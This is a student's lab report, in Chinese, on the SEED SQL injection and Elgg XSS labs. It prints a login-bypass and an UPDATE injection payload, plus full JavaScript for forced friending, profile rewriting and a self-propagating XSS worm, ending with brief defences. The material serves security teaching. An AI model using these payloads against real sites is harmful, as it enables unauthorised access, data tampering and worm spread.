1. 程式人生 > 其它 >20212821 2021-2022-2 《網路攻防實踐》實踐十報告

20212821 2021-2022-2 《網路攻防實踐》實踐十報告

1.實踐內容

1.1 SEED SQL注入攻擊與防禦實驗

本實踐主要是完成針對SQL注入攻擊與防禦的相關實踐任務,如熟悉SQL語句、利用上述Web應用存在的SQL輸入漏洞,實現對SELECT語句的SQL注入攻擊在不知道密碼的情況下登陸該Web應用程式以及通過員工的更新個人介面實施針對UPDATE語句的SQL注入攻擊,最後還進行了一些常用的SQL對抗技術,以修復上述SQL注入攻擊的漏洞。

1.2 SEED XSS跨站指令碼攻擊實驗(Elgg)

在本次實踐中,先後分別進行了針對XSS跨站指令碼攻擊的釋出惡意訊息,顯示警報視窗、彈窗顯示cookie資訊、竊取受害者的cookies並將cookie傳送給攻擊者以及利用XSS跨站指令碼攻擊實現在不用其他干預的情況下只是訪問一個頁面就成為受害者的朋友的功能,並同時使用相關的工具瞭解Elgg加好友的過程,最後還進行了使用XSS跨站指令碼攻擊實現在訪問一個使用者主頁時修改受害者的資訊並且更進一步編寫XSS蠕蟲實現上述功能並使之具備蠕蟲的特性;最後,還進行了有關對抗XSS攻擊的探討。

2.實踐過程

2.1 SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
SQL對抗:修復上述SQL注入攻擊漏洞。
具體的實踐過程如下:

2.1.1 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。

首先,我們開啟虛擬機器的終端,之後在終端中輸入命令mysql -uroot -p登入到資料庫,該資料庫的密碼為seedubuntu,登入過程如下圖所示:

登陸成功之後,我們再通過以下命令:“use Users;”和“show tables;”切換到Users資料庫並檢視資料庫中所有的表,如下圖所示:

接下來我們使用命令select * from credential查詢該表中所有的項,查詢結果如下圖所示:

同樣,我們也可以使用如下命令根據條件查詢具體使用者的相關資訊:
select * from credential where Name = 'Boby'

2.1.2 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。

首先我們開啟本實踐需使用的網站 SEEDLabSQLInjection.com,如下圖所示:

接下來我們使用如下命令開啟該網站所對應的檔案:

開啟檔案如下圖所示:

之後我們向下翻頁,可以看到一段有關資料庫查詢的程式碼,如下圖所示:

從中我們可以詳細地看到從提交表單到查詢所經過的流程,其中,Admin和普通員工的處理方式是不同的;
其中所使用到的SQL查詢語句如下:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
如果我們輸入的username欄位為Admin‘#,Password欄位為任意值;那麼我們通過上述程式碼組合sql語句就可以得到如下的sql查詢語句:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin' #’ and Password=’$hashed_pwd’
“#”表示註釋,後面的內容被註釋掉,因此上述SQL查詢語句也就變成了:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin'
這樣一來我們就利用它不進行安全性檢查的漏洞實現了SQL注入攻擊;
通過這種方式,我們就可以欺騙伺服器,成功登入使用者主頁,登入過程如下圖所示:

密碼為任意輸入,點選登入按鈕,登陸成功,如下圖所示:

2.1.3 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。

首先我們通過如下命令來檢視後端的程式碼:

從中我們可以找到有關資料庫更新的程式碼,如下圖所示:

分析上述程式碼的SQL語句是進行SQL注入攻擊的關鍵;
如果我們輸入的nickname欄位為‘, salary=’1‘ where Name=’Alice‘; # ,那麼最終被構建的sql語句就將變化為:
UPDATE credential SET nickname=’‘, salary=’1‘ where Name=’Alice‘; # ’,email=’$input_email’, address=’$input_address’, Password=’$hashed_pwd’, PhoneNumber=’$input_phonenumber’ WHERE ID=$id;";
在上述查詢語句中,改變了原本不應該改變的salary欄位值;
首先我們檢視各使用者原本的salary欄位的值:

然後我們登入Admin的個人主頁,然後點選左上方的Edit Profile按鈕,之後進入更新頁面;
在這個頁面中,為了實現SQL注入攻擊,nickname欄位的值我們輸入為:', salary='1000' where Name='Alice'; #
其他地方任意輸入,如下圖所示:

之後點選SAVE按鈕,然後我們回到Alice的員工資訊表頁面,可以看到Alice的salary被修改為了我們預先設定的值1000,說明對UPDATE語句的SQL注入攻擊成功,如下圖所示:

之後又登入Alice的個人賬號嘗試修改Boby的salary資訊,同樣獲得成功,如下圖所示:

上述實踐結果說明對UPDATE語句的SQL注入攻擊成功。

2.1.4 SQL對抗:修復上述SQL注入攻擊漏洞。

在實際工程專案中,通常使用下述方法實現對SQL注入攻擊的防禦:
1.使用型別安全(type-safe) 的引數編碼機制;
2.凡是來自外部的使用者輸入,必須進行完備檢查;
3.將動態SQL語句替換為儲存過程、預編譯SQL或ADO命令物件;
4.加強SQL資料庫伺服器的配置與連線.

2.2 SEED XSS跨站指令碼攻擊實驗(Elgg)

具體的實踐過程如下:
為了更好地進行該實踐,我們需在瀏覽器中下載HTTP HEADER LIVE:
首先開啟瀏覽器擴充套件,然後在瀏覽器擴充套件中搜索HTTP HEADER LIVE,之後將它新增到瀏覽器中,如下圖所示:

新增完成之後,就可以通過如下方式開啟它了:

接下來我們繼續進行實驗:

2.2.1 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。

首先我們登入實驗所使用的網址:www.xsslabelgg.com,如下圖所示:

之後我們先用Alice的賬號密碼進行登入,密碼為seedalice:

登陸成功如下:

之後我們點選左上角頭像進入個人主頁:

點選edit profile按鈕進入編輯個人資訊頁面:

之後我們往下找到Brief description並在其中插入我們的XSS攻擊程式碼;如下圖所示:

之後我們往下滑找到儲存按鈕並點選儲存:

點選儲存之後我們回到個人主頁就可以看到XSS的攻擊效果,出現了警報視窗,如下圖所示:

2.2.2 彈窗顯示cookie資訊:將cookie資訊顯示。

該實驗只需將上一步實驗中插入Brief description中的程式碼修改為即可完成,如下圖所示:

點選儲存後的效果如下:

如圖所示,成功通過彈窗顯示了cookie資訊。

2.2.3 竊取受害者的cookies:將cookie傳送給攻擊者。

首先獲取虛擬機器的IP地址:

要實現該功能,只需將上一步實驗中插入Brief description中的程式碼修改為:

該命令將使用GET請求將cookie資訊傳送給攻擊方;如下圖所示:

點選儲存:

然後登入使用者Boby,密碼為seedboby:

登入之後點選members,找到並新增Alice為好友、訪問主頁:


在這期間我們可以在攻擊機終端中使用nc命令對設定埠進行tcp監聽,這裡可以顯示GET請求獲得的cookie值:

2.2.4 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程

首先我們開啟之前我們介紹安裝的HTTP HEADER LIVE,如下圖所示:

然後我們登入使用者Boby並嘗試新增Alice為好友,結果如下:

點選HTTP HEADER LIVE 框,可以看到更詳細的資訊:

從上圖中我們可以瞭解到正常新增好友時後臺所傳送的指令;
從中我們可以很詳細的看到請求的方式和地址以及引數資訊
結合上文我們分析得到的資訊,可以編寫出如下的程式碼,用於xss攻擊自動新增好友:

點選檢視程式碼
<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;

	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

之後我們將這段程式碼放到使用者Alice的About Me模組內,注意右上角要調成Edit HTML模式,然後點選儲存,如下圖所示:

之後我們登入使用者Boby刪除Alice好友並檢視:

之後點選左上角的選項列表並點選members然後訪問Alice的主頁:

可以看到我們並沒有點選新增Alice為好友;
之後我們再回到自己的主頁並檢視自己的好友列表如下圖所示:

可以看到實際上Boby已經新增Alice為好友;
上述實驗說明我們已經成功使用js程式在無需受害者干預的情況下新增受害者為朋友,成功進行本次XSS攻擊;

2.2.5 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。

在進行本次實驗之前,我們仍需使用HTTP HEADER LIVE 檢視正常情況下修改資料後臺傳送的指令,點選edit profile,結果如下:

點選HTTP HEADER LIVE 檢視詳細資訊:

從中我們可以很詳細地看到請求方式、地址、引數以及其他資訊;
我們可以編寫出如下的程式碼,用於xss攻擊自動新增好友:

點選檢視程式碼
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>XSS Attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
首先開啟Alice的主頁: ![](https://img2022.cnblogs.com/blog/2773160/202205/2773160-20220517223412413-1679267485.png)

然後將這段程式碼編寫在Alice主頁個人資訊修改頁面的About me模組的EDIT HTML模式下,如下圖所示:

之後點選儲存按鈕:

然後登入使用者Boby:

並訪問使用者Alice的主頁:

之後返回自己的主頁:

發現Boby的About me部分已經被修改了,點選進入Boby的資料編輯頁面可以看到更詳細的資訊,如下圖所示:

2.2.6 編寫XSS蠕蟲

在上述攻擊過程中所編寫的XSS攻擊模組並不具備傳染性,接下來我們通過修改相關程式碼使之具備傳染性,即編寫XSS蠕蟲:
像之前的攻擊一樣,我們首先要在Alice的About me模組的EDIT HTML模組插入以下程式碼:

點選檢視程式碼
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

如下圖所示:

點選儲存:

之後我們登入使用者Boby:

然後訪問使用者Alice的主頁:

之後我們回到Boby自己的主頁,發現Boby的About me部分被修改,如下圖所示:

之後我們開啟Boby的資料編輯部分,發現同樣遭到了修改:

接下來我們來測試該XSS攻擊是否具有蠕蟲的傳染性:
首先我們開啟另一個使用者Admin:

然後使用使用者Admin訪問使用者Boby的主頁:

之後我們再次回到Admin自己的主頁,同樣發現Admin的主頁和資料編輯頁面的About me部分遭到了和Boby同樣的修改,如下圖所示:

上述實驗結果說明本次編寫的XSS攻擊具有蠕蟲的特點,成功編寫出了XSS蠕蟲攻擊;

2.2.7 對抗XSS攻擊

對於XSS攻擊,我們通常可以使用如下方式進行對抗:
首先可以使用內建的安全外掛HTMLawed禁止部分程式碼塊的執行來防禦XSS攻擊。
其次還可以使用PHP的內建函式htmlspecialchars用以轉義上文中的HTML程式碼中的一些符號進而來對抗XSS攻擊。

3.學習中遇到的問題及解決

  • 問題1:關於javascript語言不太熟悉
  • 問題1解決方案:上網查詢有關資料並參考其他同學的部落格

4.實踐總結

本次實踐內容主要集中在對SQL注入攻擊以及XSS攻擊的實施與防禦方面;
通過本次實踐,我對SQL注入攻擊、XSS攻擊都有了一個初步的瞭解,對XSS蠕蟲的編寫也有了一個初步的認識;
初步學習web網路攻防,使我對網路攻擊與防禦技術有了一個更加深入的瞭解。

參考資料

《網路攻防技術與實踐》